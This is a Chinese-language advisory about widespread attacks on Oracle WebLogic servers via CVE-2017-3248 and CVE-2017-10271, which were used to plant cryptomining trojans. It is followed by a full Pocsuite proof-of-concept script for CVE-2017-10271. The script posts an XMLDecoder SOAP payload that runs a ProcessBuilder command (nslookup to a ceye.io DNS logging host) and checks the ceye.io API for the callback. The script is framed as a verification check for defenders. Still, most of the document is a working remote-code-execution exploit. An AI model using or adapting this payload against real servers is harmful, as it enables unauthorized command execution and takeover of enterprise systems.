黑客利用WebLogic 反序列化漏洞(CVE-2017-3248)和WebLogic WLS 组件漏洞(CVE-2017-10271)对企业服务器发起大范围远程攻击,有大量企业的服务器被攻陷,且被攻击企业数量呈现明显上升趋势,需要引起高度重视。其中,CVE-2017-10271是一个最新的利用Oracle WebLogic中WLS 组件的远程代码执行漏洞,属于没有公开细节的野外利用漏洞,大量企业尚未及时安装补丁。官方在 2017 年 10 月份发布了该漏洞的补丁。
该漏洞的利用方法较为简单,攻击者只需要发送精心构造的 HTTP 请求,就可以拿到目标服务器的权限,危害巨大。由于漏洞较新,目前仍然存在很多主机尚未更新相关补丁。预计在此次突发事件之后,很可能出现攻击事件数量激增,大量新主机被攻陷的情况。
攻击者能够同时攻击Windows及Linux主机,并在目标中长期潜伏。由于Oracle WebLogic的使用面较为广泛,攻击面涉及各个行业。此次攻击中使用的木马为典型的比特币挖矿木马。但该漏洞可被黑客用于其它目的攻击。
Oracle Weblogic Server 10.3.6.0
Oracle Weblogic Server 12.2.1.2
Oracle Weblogic Server 12.2.1.1
Oracle Weblogic Server 12.1.3.0
#!/usr/bin/env python
# coding: utf-8
import random
import string
import urlparse
import time
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
from pocsuite.lib.core.data import logger
class TestPOC(POCBase):
vulID = '97009'
version = '1'
author = ''
vulDate = '2017-10-23'
createDate = '2017-12-22'
updateDate = '2017-12-22'
references = [
'https://www.seebug.org/vuldb/ssvid-97009',
]
name = 'Oracle WebLogic wls-wsat RCE(CVE-2017-10271)'
appPowerLink = 'https://www.oracle.com/middleware/weblogic/index.html'
appName = 'WebLogic'
appVersion = ''
vulType = 'Remote Command Execution'
desc = '''
Oracle Fusion Middleware(Oracle融合中间件)是美国甲骨文(Oracle)公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。
Oracle Fusion Middleware中的Oracle WebLogic Server组件的WLS Security子组件存在安全漏洞。攻击者可利用该漏洞控制组件,影响数据的可用性、保密性和完整性。以下组版本受到影响:Oracle WebLogic Server 10.3.6.0.0版本,12.1.3.0.0版本,12.2.1.1.0版本,12.2.1.2.0版本。
'''
samples = []
def verify_request(self, token, type, flag):
retVal = False
counts = 3
url = "http://api.ceye.io/v1/records?token={token}&type={type}&filter={flag}".format(token=token, type=type, flag=flag)
while counts:
try:
time.sleep(1)
resp = req.get(url)
if resp and resp.status_code == 200 and flag in resp.content:
retVal = True
break
except Exception as ex:
logger.warn(ex.message)
time.sleep(1)
counts -= 1
return retVal
def test_uri(self, uri):
flag = "".join(random.choice(string.ascii_letters) for _ in xrange(0, 8))
headers = {
'SOAPAction': "",
'Content-Type': 'text/xml;charset=UTF-8'
}
path = '/wls-wsat/CoordinatorPortType11'
url = urlparse.urljoin(uri, path)
postdata = """
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.8.0_131" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="2">
<void index="0">
<string>nslookup</string>
</void>
<void index="1">
<string>{0}.dns.j3170ioc.ceye.io</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
""".format(flag)
try:
resp = req.post(url, data=postdata, headers=headers)
if resp.status_code == 500 and self.verify_request(token="5df9bef9ed0d27df6f8csc1452b99b5b2p", type="dns", flag=flag):
return True
except Exception as ex:
logger.warning(ex.message)
return False
def _verify(self):
result = {}
pr = urlparse.urlparse(self.url)
ports = [7001]
if pr.port not in ports:
ports.insert(0, pr.port)
for port in ports:
uri = "{0}://{1}:{2}".format(pr.scheme, pr.hostname, str(port))
if self.test_uri(uri):
result['VerifyInfo'] = {}
result['VerifyInfo']['URL'] = uri
break
return self.parse_output(result)
def _attack(self):
return self._verify()
def parse_output(self, result):
output = Output(self)
if result:
output.success(result)
else:
output.fail('Internet nothing returned')
return output
register(TestPOC)